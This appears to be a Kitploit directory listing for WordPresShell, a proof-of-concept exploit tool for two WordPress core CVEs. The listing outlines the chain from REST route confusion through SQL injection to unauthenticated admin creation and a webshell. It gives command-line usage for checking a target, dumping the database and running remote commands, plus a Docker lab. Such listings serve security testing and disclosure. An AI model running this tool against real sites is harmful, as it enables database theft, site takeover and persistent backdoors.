Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
WordPresShell — Pre-auth RCE PoC for CVE-2026-63030 / CVE-2026-60137 (WordPress core) | Kitploit
Tools/GitHubGitHub/securelayer7/wordpresshell
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubsecurelayer7/wordpresshell

WordPresShell

Pre-auth RCE PoC for CVE-2026-63030 / CVE-2026-60137 (WordPress core)

View Repository
911 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

WordPresShell

Pre-auth RCE PoC for CVE-2026-63030 + CVE-2026-60137 (WordPress core). REST /batch/v1 route confusion → WP_Query author__not_in SQLi → unauthenticated admin creation → webshell. Single file, Python stdlib only.

Vulnerability: Adam Kues (Searchlight Cyber). Affected: 6.9.0–6.9.4, 7.0.0–7.0.1. Fixed: 6.9.5 / 7.0.2.

Usage

root@kitploit:~
python3 WordPresShell.py check http://target                      # confirm (non-destructive)
python3 WordPresShell.py dump  http://target [--query "SELECT @@version"]
python3 WordPresShell.py shell http://target --cmd "id"           # crack-free RCE
python3 WordPresShell.py shell http://target -i                   # interactive
python3 WordPresShell.py shell http://target --user U --password P --cmd id

Lab

root@kitploit:~
docker compose up -d          # WordPress 7.0.1 on :8092
docker compose down -v        # teardown

shell creates an admin and drops a webshell — remove both after testing. Authorized testing only.

Download Tool